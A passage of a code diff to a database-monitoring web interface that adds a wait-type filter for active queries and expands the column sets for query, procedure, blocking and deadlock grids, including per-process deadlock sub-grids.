+    title: "Show the active queries waiting on " + wait.trim() + (tMs == null ? "" : " around this time"),
+    text: wait,
+  });
+  btn.addEventListener("click", async () => {
+    note.textContent = "";
+    /* Loaded on the click, not at import: a page that stubs the chart module for a test needs no export it never uses. */
+    const { openServerTabAt } = await import("../charts.js");
+    await openServerTabAt(server, tMs, "queries", {
+      beforeRoute: () => setQueryWaitFilter(server, wait),
+      say: (msg) => {
+        note.textContent = msg;
+      },
+    });
+  });
+  return el("span", {}, [btn, note]);
+}
+
+/* The Active Queries grid. With a wait filter set (a wait row or the wait trend chart opened this tab on a wait) it reads
+   that wait only, at Lite's drill-down cap of 500 rows so a one-hour drill holds the clicked minute, and a strip above the
+   grid names the wait as text and clears the filter. The heading stays "Active Queries" (the scroll finder matches it).
+   Unfiltered, the read is the 50-row page it always was. */
+function activeQueriesPanel(server, ctx) {
+  const wait = queryWaitFilter(server);
+  const panel = table(
+    "Active Queries",
+    "get_active_queries",
+    wait ? { server, hours: ctx.hours, limit: 500, wait_type: wait } : { server, hours: ctx.hours, limit: 50 },
+    "queries",
+    [...ACTIVE_COLUMNS, ...activePlanColumns(server)],
+    wait ? ctx.label + ", waiting on " + wait : ctx.label,
+    wait ? "No active queries waiting on " + wait + " were captured in this window." : "No active-query snapshots in this window."
+  );
+  if (wait) {
+    const strip = el("div", { class: "strip notice wait-filter-strip" }, [
+      el("span", { text: "Only requests waiting on " + wait + ". " }),
+      el("button", {
+        type: "button",
+        class: "btn small",
+        text: "Show all active queries",
+        onClick: () => {
+          setQueryWaitFilter(server, "");
+          /* The same hash fires no hashchange, so the router is told to rebuild the tab. */
+          window.dispatchEvent(new Event("hashchange"));
+        },
+      }),
+    ]);
+    panel.insertBefore(strip, panel.lastChild);
+  }
+  return panel;
+}
+
 /* ─────────────────────────── table columns ─────────────────────────── */
 
 const WAIT_COLUMNS = [
@@ -2779,22 +3321,64 @@ const SPINLOCK_COLUMNS = [
 ];
 
 /* #1949 ordering, which every query grid in both apps follows: the time/identity anchor, then the QUERY TEXT,
-   then the metrics. Text pushed behind the metrics is text nobody scrolls to. */
+   then the metrics. Text pushed behind the metrics is text nobody scrolls to.
+   The desktop grid's columns in its order, except that Query and Module sit right of Database (the rule above)
+   rather than behind the two timestamps. The ungrouped columns are the core set and always show; the rest follow the toggles in
+   TOP_QUERY_GROUPS, all off at first. Last Execution and Creation Time arrive as UTC instants (the read converts them from the monitored
+   server's clock) and print in the browser's local time; every grouped field is omitted by the read on the hourly tier and prints a dash. */
 const TOP_QUERY_COLUMNS = [
   { key: "database_name", label: "Database" },
-  { key: "query_text", label: "Query", render: (r) => codeDisclosure(r.query_text) },
-  { key: "host_object", label: "Host object" },
+  { key: "query_text", label: "Query", valueList: false, render: (r) => codeDisclosure(r.query_text) },
+  { key: "host_object", label: "Module" },
+  { key: "last_execution_time", label: "Last Execution", format: "time", group: "Times" },
+  { key: "creation_time", label: "Creation Time", format: "time", group: "Times" },
   { key: "execution_count", label: "Execs", format: "int" },
   { key: "total_cpu_ms", label: "Total CPU", format: "ms" },
   { key: "avg_cpu_ms", label: "Avg CPU", format: "ms" },
-  { key: "total_elapsed_ms", label: "Total Elapsed", format: "ms" },
-  { key: "avg_elapsed_ms", label: "Avg Elapsed", format: "ms" },
-  { key: "max_cpu_ms", label: "Max CPU", format: "ms" },
-  { key: "max_dop", label: "Max DOP", format: "int" },
-  { key: "total_spills", label: "Spills", format: "int" },
+  { key: "worker_time_per_second", label: "Peak CPU ms/s", format: "num1", group: "Times" },
+  { key: "plan_generation_num", label: "Plan Gen", format: "int", group: "Times" },
+  { key: "total_clr_ms", label: "Total CLR", format: "ms", group: "Times" },
+  { key: "total_elapsed_ms", label: "Total Duration", format: "ms" },
+  { key: "avg_elapsed_ms", label: "Avg Duration", format: "ms" },
+  { key: "total_logical_reads", label: "Total Reads", format: "int" },
+  { key: "avg_reads", label: "Avg Reads", format: "int" },
+  { key: "total_logical_writes", label: "Total Writes", format: "int", group: "I/O and rows" },
+  { key: "total_physical_reads", label: "Physical Reads", format: "int", group: "I/O and rows" },
+  { key: "total_rows", label: "Total Rows", format: "int", group: "I/O and rows" },
+  { key: "total_spills", label: "Total Spills", format: "int" },
+  { key: "min_cpu_ms", label: "Min CPU", format: "ms", group: "Extremes" },
+  { key: "max_cpu_ms", label: "Max CPU", format: "ms", group: "Extremes" },
+  { key: "min_elapsed_ms", label: "Min Duration", format: "ms", group: "Extremes" },
+  { key: "max_elapsed_ms", label: "Max Duration", format: "ms", group: "Extremes" },
+  { key: "min_physical_reads", label: "Min Phys Reads", format: "int", group: "Extremes" },
+  { key: "max_physical_reads", label: "Max Phys Reads", format: "int", group: "Extremes" },
+  { key: "min_rows", label: "Min Rows", format: "int", group: "Extremes" },
+  { key: "max_rows", label: "Max Rows", format: "int", group: "Extremes" },
+  { key: "min_grant_kb", label: "Min Grant KB", format: "int", group: "Memory grants" },
+  { key: "max_grant_kb", label: "Max Grant KB", format: "int", group: "Memory grants" },
+  { key: "min_used_grant_kb", label: "Min Used Grant KB", format: "int", group: "Memory grants" },
+  { key: "max_used_grant_kb", label: "Max Used Grant KB", format: "int", group: "Memory grants" },
+  { key: "min_ideal_grant_kb", label: "Min Ideal Grant KB", format: "int", group: "Memory grants" },
+  { key: "max_ideal_grant_kb", label: "Max Ideal Grant KB", format: "int", group: "Memory grants" },
+  { key: "min_spills", label: "Min Spills", format: "int", group: "Extremes" },
+  { key: "max_spills", label: "Max Spills", format: "int", group: "Extremes" },
+  { key: "min_dop", label: "Min DOP", format: "int", group: "Parallelism" },
+  { key: "max_dop", label: "Max DOP", format: "int", group: "Parallelism" },
+  { key: "min_reserved_threads", label: "Min Rsvd Threads", format: "int", group: "Parallelism" },
+  { key: "max_reserved_threads", label: "Max Rsvd Threads", format: "int", group: "Parallelism" },
+  { key: "min_used_threads", label: "Min Used Threads", format: "int", group: "Parallelism" },
+  { key: "max_used_threads", label: "Max Used Threads", format: "int", group: "Parallelism" },
   { key: "query_hash", label: "Query Hash", mono: true },
+  { key: "query_plan_hash", label: "Plan Hash", group: "Hashes and handles", mono: true },
+  { key: "sql_handle", label: "SQL Handle", group: "Hashes and handles", mono: true },
+  { key: "plan_handle", label: "Plan Handle", group: "Hashes and handles", mono: true },
 ];
 
+const TOP_QUERY_GROUPS = {
+  groups: ["Times", "I/O and rows", "Extremes", "Memory grants", "Parallelism", "Hashes and handles"],
+  defaultGroups: [],
+};
+
 /* The per-collection snapshots get_query_trend returns, minus the two the chart already draws. Executions,
    DOP and the plan hash are here rather than on the chart because they are not milliseconds and one y-domain
    cannot hold two units honestly; the plan hash in particular is what answers "did it get worse, or did it get
@@ -2813,42 +3397,76 @@ const QUERY_TREND_COLUMNS = [
   { key: "query_plan_hash", label: "Plan Hash", mono: true },
 ];
 
+/* The desktop Top Procedures grid's columns in its order (its Query Plan column is procedurePlanColumn, added where the grid is built).
+   The ungrouped columns are the core set and always show; the rest follow the toggles in TOP_PROC_GROUPS, all off at
+   first. Last Execution and Cached Time arrive as UTC instants (the read converts them from the monitored server's
+   clock) and print in the browser's local time. The hourly tier carries none of the grouped fields, nor Type, the
+   write and read totals or Avg Reads, and prints a dash for each. */
 const TOP_PROC_COLUMNS = [
-  { key: "full_name", label: "Procedure" },
   { key: "database_name", label: "Database" },
+  { key: "full_name", label: "Procedure" },
   { key: "object_type", label: "Type" },
+  { key: "last_execution_time", label: "Last Execution", format: "time", group: "Times" },
+  { key: "cached_time", label: "Cached Time", format: "time", group: "Times" },
   { key: "execution_count", label: "Execs", format: "int" },
   { key: "total_cpu_ms", label: "Total CPU", format: "ms" },
   { key: "avg_cpu_ms", label: "Avg CPU", format: "ms" },
-  { key: "total_elapsed_ms", label: "Total Elapsed", format: "ms" },
-  { key: "avg_elapsed_ms", label: "Avg Elapsed", format: "ms" },
-  { key: "max_cpu_ms", label: "Max CPU", format: "ms" },
-  { key: "total_spills", label: "Spills", format: "int" },
+  { key: "total_elapsed_ms", label: "Total Duration", format: "ms" },
+  { key: "avg_elapsed_ms", label: "Avg Duration", format: "ms" },
+  { key: "total_logical_reads", label: "Total Reads", format: "int" },
+  { key: "avg_reads", label: "Avg Reads", format: "int" },
+  { key: "total_logical_writes", label: "Total Writes", format: "int", group: "I/O and spills" },
+  { key: "total_physical_reads", label: "Physical Reads", format: "int", group: "I/O and spills" },
+  { key: "total_spills", label: "Total Spills", format: "int" },
+  { key: "avg_spills", label: "Avg Spills", format: "num2", group: "I/O and spills" },
+  { key: "min_cpu_ms", label: "Min CPU", format: "ms", group: "Extremes" },
+  { key: "max_cpu_ms", label: "Max CPU", format: "ms", group: "Extremes" },
+  { key: "min_elapsed_ms", label: "Min Duration", format: "ms", group: "Extremes" },
+  { key: "max_elapsed_ms", label: "Max Duration", format: "ms", group: "Extremes" },
+  { key: "min_logical_reads", label: "Min Reads", format: "int", group: "Extremes" },
+  { key: "max_logical_reads", label: "Max Reads", format: "int", group: "Extremes" },
+  { key: "min_physical_reads", label: "Min Phys Reads", format: "int", group: "Extremes" },
+  { key: "max_physical_reads", label: "Max Phys Reads", format: "int", group: "Extremes" },
+  { key: "min_logical_writes", label: "Min Writes", format: "int", group: "Extremes" },
+  { key: "max_logical_writes", label: "Max Writes", format: "int", group: "Extremes" },
+  { key: "min_spills", label: "Min Spills", format: "int", group: "Extremes" },
+  { key: "max_spills", label: "Max Spills", format: "int", group: "Extremes" },
 ];
 
+const TOP_PROC_GROUPS = {
+  groups: ["Times", "I/O and spills", "Extremes"],
+  defaultGroups: [],
+};
+
+
 /* #2484: the regression grid. Baseline and recent sit BESIDE each other for each metric rather than being
    collapsed into the percent alone -- a 300% regression on a query that went from 1 ms to 4 ms is not the
    same finding as one that went from 1 s to 4 s, and the percent alone cannot tell them apart. Extra
    duration is the ranking key and the column that says whether the regression matters at all. */
 /* Stays local: this page's column set differs from the catalog entry's. */
+const QUERY_STORE_REGRESSION_GROUPS = { groups: ["CPU and reads", "Executions and plans"], defaultGroups: [] };
+
 const QUERY_STORE_REGRESSION_COLUMNS = [
   { key: "severity", label: "Severity" },
   { key: "database_name", label: "Database" },
-  { key: "query_text", label: "Query", render: (r) => codeDisclosure(r.query_text) },
+  { key: "query_text", label: "Query", valueList: false, render: (r) => codeDisclosure(r.query_text) },
   { key: "query_id", label: "Query ID", format: "int" },
   { key: "additional_duration_ms", label: "Extra Duration", format: "ms" },
   { key: "duration_regression_percent", label: "Duration +%", format: "num1" },
   { key: "baseline_duration_ms", label: "Baseline Duration", format: "ms" },
   { key: "recent_duration_ms", label: "Recent Duration", format: "ms" },
   { key: "cpu_regression_percent", label: "CPU +%", format: "num1" },
-  { key: "baseline_cpu_ms", label: "Baseline CPU", format: "ms" },
-  { key: "recent_cpu_ms", label: "Recent CPU", format: "ms" },
+  { key: "baseline_cpu_ms", label: "Baseline CPU", group: "CPU and reads", format: "ms" },
+  { key: "recent_cpu_ms", label: "Recent CPU", group: "CPU and reads", format: "ms" },
   { key: "io_regression_percent", label: "Reads +%", format: "num1" },
-  { key: "recent_exec_count", label: "Recent Execs", format: "int" },
+  { key: "baseline_reads", label: "Base Reads (pages)", group: "CPU and reads", format: "int" },
+  { key: "recent_reads", label: "Recent Reads (pages)", group: "CPU and reads", format: "int" },
+  { key: "baseline_exec_count", label: "Base Execs", group: "Executions and plans", format: "int" },
+  { key: "recent_exec_count", label: "Recent Execs", group: "Executions and plans", format: "int" },
   /* A plan count that moved between the two sides is the first thing to check: a query that regressed
      while gaining a plan is usually a plan-choice problem, not a data one. */
-  { key: "baseline_plan_count", label: "Baseline Plans", format: "int" },
-  { key: "recent_plan_count", label: "Recent Plans", format: "int" },
+  { key: "baseline_plan_count", label: "Baseline Plans", group: "Executions and plans", format: "int" },
+  { key: "recent_plan_count", label: "Recent Plans", group: "Executions and plans", format: "int" },
   { key: "last_execution_time", label: "Last Exec", format: "time" },
 ];
 
@@ -2860,13 +3478,13 @@ const QUERY_HEATMAP_COLUMNS = [
   { key: "time_bucket", label: "Time Bin", format: "time" },
   { key: "bucket_label", label: "Magnitude" },
   { key: "query_count", label: "Queries", format: "int" },
-  { key: "top_query_text", label: "Most-Executed Query", render: (r) => codeDisclosure(r.top_query_text) },
+  { key: "top_query_text", label: "Most-Executed Query", valueList: false, render: (r) => codeDisclosure(r.top_query_text) },
   { key: "top_query_hash", label: "Query Hash" },
 ];
 
 const QUERY_STORE_COLUMNS = [
   { key: "database_name", label: "Database" },
-  { key: "query_text", label: "Query", render: (r) => codeDisclosure(r.query_text) },
+  { key: "query_text", label: "Query", valueList: false, render: (r) => codeDisclosure(r.query_text) },
   { key: "query_id", label: "Query ID", format: "int" },
   { key: "plan_id", label: "Plan ID", format: "int" },
   { key: "execution_count", label: "Execs", format: "int" },
@@ -2946,29 +3564,56 @@ const QS_CLERK_STATS = [
   { key: "qs_overhead.memory_clerk.latest_clerk_captured_at", label: "Clerk Last Seen", format: "time" },
 ];
 
+const LONG_QUERY_GROUPS = { groups: ["I/O and rows", "Session"], defaultGroups: [] };
+
 const LONG_QUERY_COLUMNS = [
   { key: "event_time", label: "Time", format: "time" },
-  { key: "statement", label: "Statement", render: (r) => codeDisclosure(r.statement) },
-  { key: "database_name", label: "Database" },
-  { key: "object_name", label: "Object" },
+  { key: "statement", label: "Statement", valueList: false, render: (r) => codeDisclosure(r.statement) },
+  { key: "event_type", label: "Event Type" },
   { key: "duration_ms", label: "Duration", format: "ms" },
   { key: "cpu_ms", label: "CPU", format: "ms" },
-  { key: "row_count", label: "Rows", format: "int" },
+  { key: "logical_reads", label: "Logical Reads", group: "I/O and rows", format: "int" },
+  { key: "physical_reads", label: "Physical Reads", group: "I/O and rows", format: "int" },
+  { key: "writes", label: "Writes", group: "I/O and rows", format: "int" },
+  { key: "row_count", label: "Rows", group: "I/O and rows", format: "int" },
   { key: "result", label: "Result" },
-  { key: "client_app_name", label: "Application" },
-  { key: "session_id", label: "SPID", format: "int" },
+  { key: "database_name", label: "Database" },
+  { key: "object_name", label: "Object" },
+  { key: "session_id", label: "SPID", group: "Session", format: "int" },
+  { key: "client_app_name", label: "App", group: "Session" },
+  { key: "server_principal_name", label: "Login", group: "Session" },
+  { key: "query_hash", label: "Query Hash" },
 ];
 
+/* The Script, Executable and Revertable columns the desktop grid adds are not here: get_plan_corrections
+   returns no implementation script or action flags, and the page does not rebuild them. */
+const PLAN_CORRECTION_GROUPS = { groups: ["Plans", "Plan metrics", "Lifecycle"], defaultGroups: [] };
+
 const PLAN_CORRECTION_COLUMNS = [
   { key: "collection_time", label: "Collected", format: "time" },
-  { key: "query_text", label: "Query", render: (r) => codeDisclosure(r.query_text) },
+  { key: "query_text", label: "Query", valueList: false, render: (r) => codeDisclosure(r.query_text) },
   { key: "database_name", label: "Database" },
-  { key: "query_id", label: "Query ID", format: "int" },
   { key: "recommendation_state", label: "State" },
+  { key: "recommendation_state_reason", label: "State Reason", wrap: true },
   { key: "recommendation_reason", label: "Reason", wrap: true },
   { key: "score", label: "Score", format: "int" },
   { key: "estimated_gain_seconds", label: "Est. gain (s)", format: "num1" },
-  { key: "last_good_plan_is_forced", label: "Forced", format: "bool" },
+  { key: "query_id", label: "Query ID", format: "int" },
+  { key: "regressed_plan_id", label: "Regressed Plan", group: "Plans", format: "int" },
+  { key: "last_good_plan_id", label: "Last Good Plan", group: "Plans", format: "int" },
+  { key: "last_good_plan_forcing_type", label: "Forcing Type", group: "Plans" },
+  { key: "last_good_plan_is_forced", label: "Forced", group: "Plans", format: "bool" },
+  { key: "last_good_plan_force_failure_reason", label: "Force Failure", group: "Plans", wrap: true },
+  { key: "regressed_plan_execution_count", label: "Regressed Execs", group: "Plan metrics", format: "int" },
+  { key: "regressed_plan_cpu_time_average_ms", label: "Regressed CPU (ms)", group: "Plan metrics", format: "num2" },
+  { key: "last_good_plan_execution_count", label: "Last Good Execs", group: "Plan metrics", format: "int" },
+  { key: "last_good_plan_cpu_time_average_ms", label: "Last Good CPU (ms)", group: "Plan metrics", format: "num2" },
+  { key: "valid_since", label: "Valid Since", group: "Lifecycle", format: "time" },
+  { key: "last_refresh", label: "Last Refresh", group: "Lifecycle", format: "time" },
+  { key: "execute_action_initiated_by", label: "Executed By", group: "Lifecycle" },
+  { key: "execute_action_initiated_time", label: "Executed At", group: "Lifecycle", format: "time" },
+  { key: "revert_action_initiated_by", label: "Reverted By", group: "Lifecycle" },
+  { key: "revert_action_initiated_time", label: "Reverted At", group: "Lifecycle", format: "time" },
 ];
 
 const AUTO_TUNING_COLUMNS = [
@@ -2979,57 +3624,232 @@ const AUTO_TUNING_COLUMNS = [
   { key: "as_of", label: "As of", format: "time" },
 ];
 
+/* The Active Queries grid, in the desktop viewer's column order and wording (Collected and Query Text lead, the anchor rule; the plan buttons are added where the grid is built: activePlanColumns). */
 const ACTIVE_COLUMNS = [
-  { key: "collection_time", label: "Time", format: "time" },
-  { key: "query_text", label: "Query", render: (r) => codeDisclosure(r.query_text) },
+  { key: "collection_time", label: "Collected", format: "time" },
+  { key: "query_text", label: "Query Text", valueList: false, render: (r) => codeDisclosure(r.query_text) },
   { key: "session_id", label: "SPID", format: "int" },
   { key: "database_name", label: "Database" },
+  { key: "login_name", label: "Login" },
+  { key: "host_name", label: "Host" },
+  { key: "program_name", label: "Program" },
   { key: "status", label: "Status" },
-  { key: "cpu_time_ms", label: "CPU", format: "ms" },
   { key: "elapsed_time_formatted", label: "Elapsed" },
-  { key: "wait_type", label: "Wait" },
-  { key: "blocking_session_id", label: "Blocked by", format: "int" },
+  { key: "cpu_time_ms", label: "CPU (ms)", format: "int" },
+  { key: "logical_reads", label: "Logical Reads", format: "int" },
+  { key: "reads", label: "Reads", format: "int" },
+  { key: "writes", label: "Writes", format: "int" },
+  { key: "wait_type", label: "Wait Type" },
+  { key: "wait_time_ms", label: "Wait (ms)", format: "int" },
+  { key: "wait_resource", label: "Wait Resource" },
+  { key: "blocking_session_id", label: "Blocking", format: "int" },
   { key: "dop", label: "DOP", format: "int" },
-  { key: "program_name", label: "Application" },
-  { key: "login_name", label: "Login" },
+  { key: "parallel_worker_count", label: "Workers", format: "int" },
+  { key: "granted_query_memory_gb", label: "Memory (GB)", format: "num2" },
+  { key: "transaction_isolation_level", label: "Isolation" },
+  { key: "open_transaction_count", label: "Open Tran", format: "int" },
+  { key: "percent_complete", label: "% Done", format: "num1" },
+  { key: "query_hash", label: "Query Hash" },
 ];
 
+/* The desktop Blocked Process Reports grid's columns, order and headers, for every field get_blocking returns. Object is
+   the web's own extra. The Blocked plan and Blocking plan buttons are added where the grid is built (blockingPlanColumns,
+   #5236), so this list stays the fields the read returns. */
+/* Blocking column groups: the report, the pair and the wait are always shown; the sessions' status and isolation, the blocked
+   transaction and the logins, hosts and apps follow the desktop order in three toggles, with the first two on at first. */
+const BLOCKING_GROUPS = { groups: ["Status and isolation", "Transaction", "Sessions"], defaultGroups: ["Status and isolation", "Transaction"] };
+
 const BLOCKING_COLUMNS = [
-  { key: "event_time", label: "Time", format: "time" },
-  { key: "blocked_sql_text", label: "Blocked SQL", render: (r) => codeDisclosure(r.blocked_sql_text) },
-  { key: "blocking_sql_text", label: "Blocking SQL", render: (r) => codeDisclosure(r.blocking_sql_text) },
+  { key: "event_time", label: "Event Time", format: "time" },
+  { key: "blocked_sql_text", label: "Blocked SQL", valueList: false, render: (r) => codeDisclosure(r.blocked_sql_text) },
+  { key: "blocking_sql_text", label: "Blocking SQL", valueList: false, render: (r) => codeDisclosure(r.blocking_sql_text) },
+  { key: "source", label: "Source" },
   { key: "database_name", label: "Database" },
-  { key: "blocked_spid", label: "Blocked", format: "int" },
-  { key: "blocking_spid", label: "Blocker", format: "int" },
-  { key: "wait_time_ms", label: "Wait", format: "ms" },
-  { key: "lock_mode", label: "Mode" },
+  { key: "blocked_spid", label: "Blocked SPID", format: "int" },
+  { key: "blocking_spid", label: "Blocking SPID", format: "int" },
+  { key: "wait_time_ms", label: "Wait Time", format: "ms" },
+  { key: "wait_resource", label: "Wait Resource", wrap: true },
+  { key: "lock_mode", label: "Lock Mode" },
+  { key: "blocked_status", label: "Blocked Status", group: "Status and isolation" },
+  { key: "blocking_status", label: "Blocking Status", group: "Status and isolation" },
+  { key: "blocked_isolation_level", label: "Blocked Isolation", group: "Status and isolation" },
+  { key: "blocking_isolation_level", label: "Blocking Isolation", group: "Status and isolation" },
+  { key: "blocked_transaction_name", label: "Blocked Tran", group: "Transaction" },
+  { key: "blocked_priority", label: "Blocked Priority", format: "int", group: "Transaction" },
+  { key: "blocked_transaction_count", label: "Blocked Tran Count", format: "int", group: "Transaction" },
+  { key: "blocked_log_used", label: "Blocked Log Used", format: "int", group: "Transaction" },
+  { key: "blocked_login_name", label: "Blocked Login", group: "Sessions" },
+  { key: "blocked_host_name", label: "Blocked Host", group: "Sessions" },
+  { key: "blocked_client_app", label: "Blocked App", wrap: true, group: "Sessions" },
+  { key: "blocking_login_name", label: "Blocking Login", group: "Sessions" },
+  { key: "blocking_host_name", label: "Blocking Host", group: "Sessions" },
+  { key: "blocking_client_app", label: "Blocking App", wrap: true, group: "Sessions" },
   { key: "contentious_object", label: "Object" },
-  { key: "blocked_client_app", label: "Blocked App" },
-  { key: "blocking_client_app", label: "Blocking App" },
 ];
 
-/* Stays local: this page renders the deadlock text through a codeDisclosure and orders the columns differently from the catalog. */
+/* Stays local: this page renders the deadlock text through a codeDisclosure and orders the columns differently from the catalog.
+   The Victim plan button is added where the grid is built (deadlockPlanColumn, #5236), so the five columns here stay the summary. */
 const DEADLOCK_COLUMNS = [
   { key: "deadlock_time", label: "Deadlock Time", format: "time" },
-  { key: "victim_sql_text", label: "Victim SQL", render: (r) => codeDisclosure(r.victim_sql_text) },
+  { key: "victim_sql_text", label: "Victim SQL", valueList: false, render: (r) => codeDisclosure(r.victim_sql_text) },
   { key: "victim_process_id", label: "Victim" },
   { key: "process_summary", label: "Processes", wrap: true },
   { key: "has_deadlock_xml", label: "Graph", format: "bool" },
 ];
 
-const DEADLOCK_XML_COLUMNS = [
-  { key: "deadlock_time", label: "Deadlock Time", format: "time" },
-  { key: "victim_process_id", label: "Victim" },
-  { key: "deadlock_graph_xml", label: "Deadlock graph", render: (r) => xmlDisclosure(r.deadlock_graph_xml) },
+/* The per-process rows of one deadlock, the desktop Deadlocks grid's columns and header text, plus Log Used and Status, which the web adds. The service parses the graph and sends
+   processes[] (absent values left off), so the browser never reads the XML. */
+const DEADLOCK_PROCESS_COLUMNS = [
+  { key: "deadlock_type", label: "Type" },
+  { key: "victim", label: "Victim", render: (r) => document.createTextNode(r.victim ? "Victim" : "") },
+  { key: "spid", label: "SPID", format: "int" },
+  { key: "database_name", label: "Database" },
+  { key: "object_names", label: "Object(s)", wrap: true },
+  { key: "proc_name", label: "Procedure" },
+  { key: "lock_mode", label: "Lock Mode" },
+  { key: "owner_mode", label: "Owner Mode" },
+  { key: "waiter_mode", label: "Waiter Mode" },
+  { key: "wait_resource", label: "Wait Resource", wrap: true },
+  { key: "wait_time_ms", label: "Wait (ms)", format: "ms" },
+  { key: "isolation_level", label: "Isolation" },
+  { key: "transaction_name", label: "Tran Name" },
+  { key: "transaction_count", label: "Tran Count", format: "int" },
+  { key: "priority", label: "Priority", format: "int" },
+  { key: "log_used", label: "Log Used", format: "int" },
+  { key: "login_name", label: "Login" },
+  { key: "host_name", label: "Host" },
+  { key: "client_app", label: "App", wrap: true },
+  { key: "status", label: "Status" },
+  { key: "sql_text", label: "Statement", valueList: false, render: (r) => codeDisclosure(r.sql_text) },
 ];
 
+/* Which deadlocks have their process sub-grid open, at MODULE scope so the 60 s rebuild of the tab keeps it open. Keyed by
+   server and deadlock id (the dedup key, else the deadlock's own timestamps); one entry per deadlock the session opens. */
+const deadlockProcessesOpen = new Set();
+
+function deadlockProcessKey(server, row) {
+  return server + "\u0001" + (row.dedup_key || (row.collection_time || "") + "|" + (row.deadlock_time || ""));
+}
+
+/* The database filter as it applies to this panel, or null for none: the page's filter when it is the active server's and the
+   page is a server page (dbScopeChip's own rule, so the chip and the rows always agree). */
+function deadlockRowFilter(server) {
+  const filter = getActiveDatabaseFilter();
+  const hash = typeof location !== "undefined" && location && typeof location.hash === "string" ? location.hash : "";
+  return filter && filter.server === server && hash.startsWith("#/server/") ? filter : null;
+}
+
+/* One Deadlock Graphs panel's count of the process rows its database filter hid (#5244), per deadlock, so a grid that redraws
+   its cells (a sort) does not count one twice, and the notice line under the panel. */
+function deadlockRowScope() {
+  const hidden = new Map();
+  const note = el("div", { class: "deadlock-rows-note" });
+  const update = () => {
+    let total = 0;
+    for (const n of hidden.values()) total += n;
+    mount(
+      note,
+      total > 0
+        ? noticeStrip(
+            "The database filter hides " + total + (total === 1 ? " process row" : " process rows") + " outside the chosen databases. Each graph is whole."
+          )
+        : null
+    );
+  };
+  return {
+    note,
+    set(key, count) {
+      hidden.set(key, count);
+      update();
+    },
+  };
+}
+
+/** The expandable per-process sub-grid for one deadlock row of get_deadlock_detail. While the page's database filter is active
+ *  only the rows of the chosen databases are listed (#5244); `scope` takes the count of those it hid. */
+function deadlockProcessesCell(server, row, scope = null) {
+  const all = Array.isArray(row.processes) ? row.processes : [];
+  if (!all.length) {
+    /* The shared page row budget can cut every row of a deadlock; say so and how to get them, rather than a bare dash. */
+    const cut = Number(row.processes_truncated) || 0;
+    if (cut <= 0) return document.createTextNode("—");
+    return document.createTextNode(cut + (cut === 1 ? " process" : " processes") + " not sent (page row limit); pick Custom… in the time range and narrow it to this deadlock to see them");
+  }
+  const key = deadlockProcessKey(server, row);
+  const filter = deadlockRowFilter(server);
+  const rows = filter ? processRowsInDatabases(all, filter.databases) : all;
+  if (scope) scope.set(key, all.length - rows.length);
+  /* The page row budget runs before this filter, so the chosen database's rows may be the ones cut: the suffix shows in the
+     all-hidden cell too, and a cut row (its database unknown) is not counted as hidden. */
+  const more = row.processes_truncated > 0 ? " (+" + row.processes_truncated + " more in the graph)" : "";
+  if (!rows.length) return document.createTextNode(all.length + (all.length === 1 ? " process" : " processes") + " hidden by the database filter" + more);
+  const node = disclosure(rows.length + (rows.length === 1 ? " process" : " processes") + more, [
+    VIZ.table({ processes: rows }, { id: "deadlock-processes", rowsKey: "processes", columns: DEADLOCK_PROCESS_COLUMNS }),
+  ]);
+  if (deadlockProcessesOpen.has(key)) node.setAttribute("open", "");
+  node.addEventListener("toggle", () => {
+    if (node.open) deadlockProcessesOpen.add(key);
+    else deadlockProcessesOpen.delete(key);
+  });
+  return node;
+}
+
+/* The Deadlock Graphs panel: each graph is whole, its process rows follow the database filter, and one notice line under the
+   panel says so when the filter hid any (#5244). Its chip is "process-rows". */
+function deadlockGraphsPanel(server, ctx) {
+  const scope = deadlockRowScope();
+  const panel = table(
+    "Deadlock Graphs",
+    "get_deadlock_detail",
+    { server, hours: ctx.hours, limit: 5 },
+    "deadlocks",
+    deadlockXmlColumns(server, scope),
+    ctx.label,
+    "No deadlock graph XML captured in this window.",
+    2,
+    null,
+    null,
+    null,
+    null,
+    "process-rows"
+  );
+  panel.appendChild(scope.note);
+  return panel;
+}
+
+function deadlockXmlColumns(server, scope = null) {
+  return [
+    { key: "deadlock_time", label: "Deadlock Time", format: "time" },
+    { key: "victim_process_id", label: "Victim" },
+    {
+      key: "deadlock_graph_xml_save",
+      label: "XML",
+      sortable: false,
+      csv: false,
+      render: (r) =>
+        saveXmlButton(r.deadlock_graph_xml, "deadlock_" + fileStamp(r.deadlock_time) + ".xdl", "application/xml;charset=utf-8", r.deadlock_graph_xml_truncated === true),
+    },
+    { key: "graph", label: "Graph", sortable: false, csv: false, filter: false, copy: false, render: (r) => deadlockGraphCell(server, r) },
+    { key: "processes", label: "Processes", sortable: false, render: (r) => deadlockProcessesCell(server, r, scope) },
+    { key: "deadlock_graph_xml", label: "Deadlock graph", valueList: false, render: (r) => xmlDisclosure(r.deadlock_graph_xml) },
+  ];
+}
+
+/* The desktop Blocked Process Reports columns get_blocked_process_xml returns, under the desktop's headers. */
 const BPR_COLUMNS = [
-  { key: "event_time", label: "Time", format: "time" },
+  { key: "event_time", label: "Event Time", format: "time" },
+  {
+    key: "blocked_process_report_xml_save",
+    label: "XML",
+    sortable: false,
+    csv: false,
+    render: (r) => saveXmlButton(r.blocked_process_report_xml, "blocked_process_" + fileStamp(r.event_time) + ".xml", "application/xml;charset=utf-8", false),
+  },
   { key: "database_name", label: "Database" },
-  { key: "blocked_spid", label: "Blocked", format: "int" },
-  { key: "blocking_spid", label: "Blocker", format: "int" },
-  { key: "wait_time_ms", label: "Wait", format: "ms" },
-  { key: "blocked_process_report_xml", label: "Report", render: (r) => xmlDisclosure(r.blocked_process_report_xml) },
+  { key: "blocked_spid", label: "Blocked SPID", format: "int" },
+  { key: "blocking_spid", label: "Blocking SPID", format: "int" },
+  { key: "wait_time_ms", label: "Wait Time", format: "ms" },
+  { key: "blocked_process_report_xml", label: "Report", valueList: false, render: (r) => xmlDisclosure(r.blocked_process_report_xml) },
 ];
 
 const OBJECT_LOCK_COLUMNS = [
@@ -3127,6 +3947,440 @@ const PRESSURE_COLUMNS = [
   { key: "memory_indicators_system", label: "System", format: "int" },
 ];
 
+const PG_EVICTION_STATS = [
+  { key: "evictions.eviction_passes_in_window", label: "Eviction passes", format: "int" },
+  { key: "evictions.max_entries", label: "pg_stat_statements.max", format: "int" },
+];
+
+/** Both memory-pressure severities as the desktop chart counts them: indicator 2 is medium, 3 and above severe. */
+const PRESSURE_LINES = [
+  { key: "sql_medium", label: "SQL Server (medium)", color: SERIES_COLORS[0] },
+  { key: "sql_severe", label: "SQL Server (severe)", color: SERIES_COLORS[1] },
+  { key: "os_medium", label: "Operating System (medium)", color: SERIES_COLORS[2] },
